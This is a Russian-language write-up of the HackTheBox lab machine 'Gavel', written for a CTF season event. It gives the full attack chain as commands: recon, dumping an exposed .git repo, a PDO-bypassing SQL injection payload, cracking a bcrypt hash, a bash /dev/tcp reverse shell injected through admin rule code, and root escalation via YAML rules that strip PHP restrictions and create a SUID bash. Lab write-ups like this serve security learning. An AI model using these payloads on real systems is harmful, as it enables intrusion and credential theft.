Перед началом разбора хочу отметить, что это один из моих первых writeup'ов в рамках сезонного ивента Season of the Gacha на HackTheBox. Машина Gavel оказалась весьма интересной и познавательной, но также она заставляет немного приложить усилий, терпения и логики. Не скажу, что у меня не было проблем с прохождением, но я думаю, что испытал внутреннее удовлетворение после прохождении, давайте приступим!

Разведка

Сканирование портов

Традиционно начинаем с Nmap-сканирования и обнаруживаем два открытых TCP-порта: порт 22 с SSH-сервисом OpenSSH 8.9p1 (Ubuntu) и порт 80 с веб-сервером Apache httpd 2.4.52

nmap -p- -sC -sV -oN nmap_scan.txt 10.129.4.66
Результат сканирования Nmap — обнаружены порты 22 и 80
Результат сканирования Nmap — обнаружены порты 22 и 80

SSH на данном этапе вряд ли будет полезен без учетных данных, поэтому основное внимание сосредоточим на исследовании веб-приложения как наиболее перспективной точке входа

Открытые порты:

  • 22/tcp (SSH - OpenSSH 8.9p1 Ubuntu)

  • 80/tcp (HTTP - Apache httpd 2.4.52)

Добавление домена в hosts файл

Добавляем запись в /etc/hosts для локального разрешения доменного имени. Это критически важно, поскольку веб-сервер Apache настроен на использование виртуальных хостов и обрабатывает запросы в зависимости от значения HTTP-заголовка Host. Без правильной записи в hosts мы не сможем получить доступ к полному функционалу веб-приложения.

echo "10.129.4.176 gavel.htb" | sudo tee -a /etc/hosts

Исследование веб-сайта

Наконец мы открываем браузер и после добавления домена можем увидеть полноценный сайт:

http://gavel.htb
Главная страница аукционной платформы gavel.htb
Главная страница аукционной платформы gavel.htb

Перед нами аукционная веб-платформа с фэнтезийной тематикой, предлагающая различные виртуальные товары. Сайт реализует полноценный функционал регистрации пользователей и систему торгов. С точки зрения пентестинга это сразу указывает на потенциальные векторы атаки: SQL-инъекции в формах авторизации и фильтрах, манипуляции с параметрами ставок, а также уязвимости в логике обработки транзакций. Любая система, где пользователь передаёт числовые значения (суммы ставок, ID лотов), заслуживает пристального внимания.

Каталог аукционных лотов с фэнтезийными предметами
Каталог аукционных лотов с фэнтезийными предметами

Очевидно, что для дальнейшего исследования нам необходимо зарегистрироваться — большая часть функционала скрыта за авторизацией, и без учётной записи мы не сможем взаимодействовать с системой ставок и лотов. Создаём тестовый аккаунт и входим в систему.

Интерфейс торгов после авторизации — форма для размещения ставок
Интерфейс торгов после авторизации — форма для размещения ставок

Как уже упоминалось ранее, в этом приложении реализована механика аукционных лотов и их последующей покупки. Сам факт наличия формы, через которую пользователь делает ставку, сразу должен навести нас на мысль, что ключевое взаимодействие происходит именно со значениями, передаваемыми внутри этой формы. А значит, большую часть логики сервер обрабатывает на основе данных, которые клиент отправляет в запросах.

Поиск скрытых директорий

Теперь проведём разведку структуры веб-приложения. Используем ffuf для поиска скрытых файлов и директорий — часто разработчики оставляют служебные скрипты, бэкапы или конфигурационные файлы в публичном доступе, что может раскрыть дополнительные векторы атаки:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -u http://gavel.htb/FUZZ -e .php
Результат сканирования ffuf — найдены admin.php, inventory.php и .git
Результат сканирования ffuf — найдены admin.php, inventory.php и .git

Что мы находим:

  • /admin.php — панель администратора (пока недоступна без учётных данных)

  • /inventory.php — инвентарь товаров

  • /.git/открытый Git-репозиторий! (Это серьёзная находка)

Извлечение исходного кода из Git репозитория

И раз мы нашли золотую жилу, для её извлечения используем специализированный инструмент git-dumper, который рекурсивно скачивает все объекты Git и восстанавливает полную структуру проекта:

git-dumper http://gavel.htb/.git/ ./gavel-source
Процесс извлечения исходного кода с помощью git-dumper
Процесс извлечения исходного кода с помощью git-dumper

Теперь у нас есть полный доступ к исходному коду приложения — это значительно упрощает поиск уязвимостей. Думаю, при анализе кода стоит сосредоточиться на критичных файлах: admin.php, inventory.php, login.php, а также директории includes/. Также обращаем особое внимание на: SQL-запросы, файлы конфигурации, логику аутентификации и обработку пользовательских данных.

На этом этапе я провёл немало времени, разбираясь в структуре приложения. В ход пошло всё: различные инструменты для анализа, помощь нейросетей, а также собственные знания PHP и веб-разработки. В итоге упорство дало результат — при детальном изучении исходного кода были выявлены критические уязвимости:

  1. SQL Injection в inventory.php — параметры user_id и sort передаются в SQL-запрос без должной санитизации, что позволяет выполнять произвольные SQL-команды через backtick injection

  2. Небезопасная обработка правил в админ-панели — система динамических правил для аукционов использует runkit_function_add() для динамического создания PHP-функций из пользовательского ввода, что открывает возможность Remote Code Execution (RCE)

  3. Отсутствие rate limiting на критичных эндпоинтах — позволяет брутфорс учетных данных

И наконец мы можем сформировать полную цепочку атаки: SQL Injection → извлечение credentials → доступ к админ-панели → RCE через систему правил.

Схема цепочки атаки на основе анализа исходного кода
Схема цепочки атаки на основе анализа исходного кода

SQL Injection для извлечения учетных данных

Как я упоминал выше, файл inventory.php сразу привлёк моё внимание — слишком уж подозрительно там обрабатывались пользовательские параметры. После более детального анализа подозрения подтвердились: параметры user_id и sort напрямую попадают в SQL-запрос без какой-либо фильтрации. Классическая SQL-инъекция через backtick injection. Для эксплуатации используем следующий payload:

http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

Ключевые моменты обхода PDO:

  • \? — обратный слэш перед вопросительным знаком ломает детекцию параметров, поскольку PDO сканирует ? плейсхолдеры до парсинга MySQL-синтаксиса и не распознаёт экранированный вариант

  • %00 — null byte вызывает обрезку строки на уровне C в MySQL-драйвере, эффективно «отрезая» остаток запроса

И в ответе прилетают учётные данные пользователя auctioneer, пароль, конечно, в виде bcrypt-хеша, но это уже дело техники.

Успешная эксплуатация SQL-инъекции — получены учётные данные auctioneer
Успешная эксплуатация SQL-инъекции — получены учётные данные auctioneer

Пример результата: - auctioneer:2y10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS...

Взлом пароля

Теперь нужно сбрутить этот хеш. Сначала сохраняем его в файл:

echo 'auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' > hash.txt

Затем натравливаем John the Ripper с классическим rockyou.txt bcrypt — это небыстрый способ для нас, но, как я уже и говорил, от нас тут требуется терпение и проявление усидчивости. Если пароль слабый, то шансы есть:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Результат:- Пароль: midnight1

Вход в панель администратора

Теперь самое интересное — мы переходим в панель администратора и используем те данные, которые у нас уже есть (логин и пароль - auctioneer:midnight1)

Успешный вход в админ-панель с учётными данными auctioneer
Успешный вход в админ-панель с учётными данными auctioneer

И что мы видим: как администратор, у нас с вами бесконечно местных монет, за которые мы можем просто скупить весь аукцион и жить счастливо. Признаюсь, я не удержался и потратил пару минут, скупая все лоты подряд и мой внутренний коллекционер был доволен! Но, как мы помним, нас интересует совсем другое — мы здесь не за виртуальными трофеями, а за полным контролем над системой.

Коллекция скупленных лотов — внутренний коллекционер доволен
Коллекция скупленных лотов — внутренний коллекционер доволен

Получение Reverse Shell

Далее в панели администратора находим раздел Rules — именно здесь скрывается наш вектор атаки. Этот раздел позволяет администратору задавать динамические правила для аукционных лотов. Как мы выяснили ранее при анализе исходного кода, эти правила обрабатываются через runkit_function_add(), что означает прямое выполнение PHP-кода на сервере. Перед вами будут 3 товара с таймерами — система периодически пересчитывает правила для активных лотов, и именно в этот момент наш вредоносный код будет исполнен.

Раздел Rules в админ-панели с активными лотами и таймерами
Раздел Rules в админ-панели с активными лотами и таймерами

По сути, механизм работает так: когда срабатывает таймер обновления лота, сервер берёт строку из поля rule и выполняет её как PHP-код. Классическая уязвимость Remote Code Execution (RCE) через небезопасную обработку пользовательского ввода (code injection).

И теперь начинается самое интересное, всё что было до этого, можно считать подготовкой. Нам предстоит внедрить reverse shell payload в поле правила и дождаться его исполнения. Первым делом подготавливаем listener. Открываем новый терминал и запускаем netcat в режиме прослушивания:

nc -lvnp 4444

Также вы можете заменить 4444 на любой свободный порт, который вы хотите использовать.

Для автоматизации дальнейших действий нам понадобится session cookie — без неё сервер не авторизует наши API-запросы. Дело в том, что веб-приложение использует стандартный механизм сессий PHP: при авторизации сервер генерирует уникальный идентификатор сессии и сохраняет его в cookie PHPSESSID (или gavel_session — зависит от конфигурации приложения). Этот идентификатор привязывает все наши запросы к авторизованной сессии администратора.

Извлекаем cookie через DevTools браузера:

Chrome: F12 → вкладка Application → раздел StorageCookiesgavel.htb

Firefox: F12 → вкладка StorageCookiesgavel.htb

Копируем значение cookie (обычно это длинная строка вида svrgsg63bm5ktf2vvfhq9cu9d9). Этот токен мы будем передавать в заголовке Cookie при выполнении curl-запросов, чтобы сервер воспринимал их как действия авторизованного администратора.

DevTools браузера — извлекаем session cookie для авторизации запросов
DevTools браузера — извлекаем session cookie для авторизации запросов

Теперь нам нужно получить auction_id активных лотов. Как я уже упоминал, товары в системе имеют таймеры обновления — это окно возможности для эксплуатации. Когда таймер срабатывает, сервер выполняет правило (rule) для данного лота, и именно в этот момент наш payload будет исполнен. Но чтобы сделать ставку на нужный лот и триггернуть выполнение правила, нам необходимо знать его идентификатор.

Парсим страницу торгов и извлекаем auction_id с помощью curl и grep:

curl -s http://gavel.htb/bidding.php -H 'Cookie: gavel_session=1rn49ob4qg14cs55tka1g6ujfe' | grep -E 'auction_id|data-auction-id' -A 2 -B 2
Парсинг страницы торгов — получаем auction_id активных лотов
Парсинг страницы торгов — получаем auction_id активных лотов

После получения auction_id переходим к ключевому этапу — внедрению reverse shell payload. Возвращаемся в админ-панель, находим раздел Rules и редактируем правило для одного из активных лотов.

В поле правила вставляем следующий PHP-код:

system('bash -c "bash -i >& /dev/tcp/172.16.219.2/4444 0>&1"'); return true;
Внедрение reverse shell payload в поле rule через админ-панель
Внедрение reverse shell payload в поле rule через админ-панель

И теперь триггерим выполнение нашего payload'а. Открываем новый терминал (netcat должен продолжать слушать в первом) и отправляем POST-запрос на обработчик ставок:

curl -X POST 'http://gavel.htb/includes/bid_handler.php' \
     -H 'X-Requested-With: XMLHttpRequest' \
     -H 'Cookie: PHPSESSID=svrgsg63bm5ktf2vvfhq9cu9d9' \
     -d 'auction_id=1&bid_amount=50000'

И в этот самый момент, когда мы ввели наш payload, сервер проверяет правила для лота, выполняется наш код, инициируется обратное подключение к netcat и в этот момент мы должны получить shell.

Так же, очень важно не забывать менять auction_id на актуальный и cookie на вашей сессии. У лотов может быть разное время или одинаковое время жизни, поэтому имейте это в виду, это важно.

Отправка POST-запроса для триггера выполнения payload
Отправка POST-запроса для триггера выполнения payload
Успешное получение reverse shell — входящее соединение в netcat
Успешное получение reverse shell — входящее соединение в netcat

Стабилизация shell и переключение на пользователя auctioneer

После получения reverse shell мы оказываемся в «сыром» окружении от имени www-data. Вот что мы видим в терминале с netcat:

> nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.4.176 35340
bash: cannot set terminal process group (1059): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$

Это так называемый «тупой» (dumb) shell — не работает автодополнение по Tab, стрелки вверх/вниз не листают историю команд, а Ctrl+C просто убьёт соединение. Первым делом стабилизируем shell через Python:

www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@gavel:/var/www/html/gavel/includes$

Модуль pty создаёт псевдотерминал, который эмулирует настоящий TTY. Теперь shell думает, что работает в полноценном терминале — появляется автодополнение и корректная работа с командами.

Переключение на пользователя auctioneer

Сейчас мы работаем от имени пользователя www-data — это сервисный аккаунт, под которым запущен веб-сервер Apache. У него минимальные привилегии и ограниченный доступ к системе. Однако у нас есть козырь в рукаве — помните пароль midnight1, который мы добыли через SQL-инъекцию и взломали с помощью John the Ripper?

Нам очень повезло и оказывается, пользователь auctioneer использует один и тот же пароль как для веб-приложения, так и для системного аккаунта, не теряем время и переключаемся:

www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password: midnight1
auctioneer@gavel:/var/www/html/gavel/includes$ cd /home/auctioneer
auctioneer@gavel:~$

Если всё прошло успешно, приглашение командной строки изменится с www-data@gavel на auctioneer@gavel. Теперь у нас есть доступ к домашней директории пользователя и его файлам.

Первая цель достигнута — мы получили доступ к пользователю системы. Теперь нужно найти флаг. Используем команду find для поиска:

find / -name "root.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null

Результат поиска показывает путь: /home/auctioneer/user.txt.

Мы успешно забираем флаг!

cat /home/auctioneer/user.txt
Получен user flag — первый этап пройден
Получен user flag — первый этап пройден

Повышение привилегий до Root

Исследование системы

Теперь начинается этап повышения привилегий. Исследуем систему на предмет интересных файлов и утилит:

auctioneer@gavel:~$ ls -la /opt/gavel/
auctioneer@gavel:~$ ls -la /usr/local/bin/

При изучении системы обнаруживаем утилиту gavel-util в /usr/local/bin/. Эта утилита позволяет отправлять YAML-файлы с описанием товаров для аукциона. Ключевой момент: поле rule в YAML обрабатывается тем же механизмом runkit_function_add(), который мы использовали для получения reverse shell, но теперь код выполняется с повышенными привилегиями!

Обнаружена утилита gavel-util — вектор для privilege escalation
Обнаружена утилита gavel-util — вектор для privilege escalation

YAML Injection — Двухэтапная атака

Атака состоит из двух этапов: сначала мы отключаем PHP-песочницу, а затем создаём SUID-копию bash.

Этап 1: Отключение PHP-ограничений

Создаём YAML-файл, который перезаписывает конфигурацию PHP, убирая все защитные ограничения (open_basedir, disable_functions):

auctioneer@gavel:~$ echo 'name: fixini' > fix_ini.yaml
auctioneer@gavel:~$ echo 'description: fix php ini' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'price: 1' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'rule_msg: "fixini"' >> fix_ini.yaml
auctioneer@gavel:~$ echo "rule: file_put_contents('/opt/gavel/.config/php/php.ini', \"engine=On\\ndisplay_errors=On\\nopen_basedir=\\ndisable_functions=\\n\"); return false;" >> fix_ini.yaml

Отправляем файл на обработку:

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/fix_ini.yaml
Item submitted for review in next auction

Важно: Подождите несколько секунд, пока система обработает YAML и выполнит код из поля rule.

Этап 2: Создание SUID bash

Теперь, когда PHP-ограничения сняты, создаём YAML-файл, который скопирует /bin/bash и установит на копию SUID-бит:

auctioneer@gavel:~$ echo 'name: rootshell' > rootshell.yaml
auctioneer@gavel:~$ echo 'description: make suid bash' >> rootshell.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> rootshell.yaml
auctioneer@gavel:~$ echo 'price: 1' >> rootshell.yaml
auctioneer@gavel:~$ echo 'rule_msg: "rootshell"' >> rootshell.yaml
auctioneer@gavel:~$ echo "rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;" >> rootshell.yaml

Отправляем на выполнение:

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/rootshell.yaml
Item submitted for review in next auction

Получение ROOT привилегий

После обработки второго YAML-файла проверяем, был ли создан SUID-файл:

auctioneer@gavel:~$ ls -l /opt/gavel/rootbash
-rwsr-xr-x 1 root root 1396520 Dec  5 20:26 /opt/gavel/rootbash

Отлично! Видим флаг s в правах (-rwsr-xr-x) — это означает, что SUID-бит установлен. Теперь любой пользователь, запустивший этот файл, получит привилегии владельца (root).

Запускаем rootbash с флагом -p (preserve privileges), чтобы сохранить elevated привилегии:

auctioneer@gavel:~$ /opt/gavel/rootbash -p
rootbash-5.1# whoami
root

Мы получили root-доступ! Теперь забираем финальный флаг:

rootbash-5.1# cat /root/root.txt
153f183a5ee2********************

Вот и всё! Увидимся в следующий раз :)

Комментарии (0)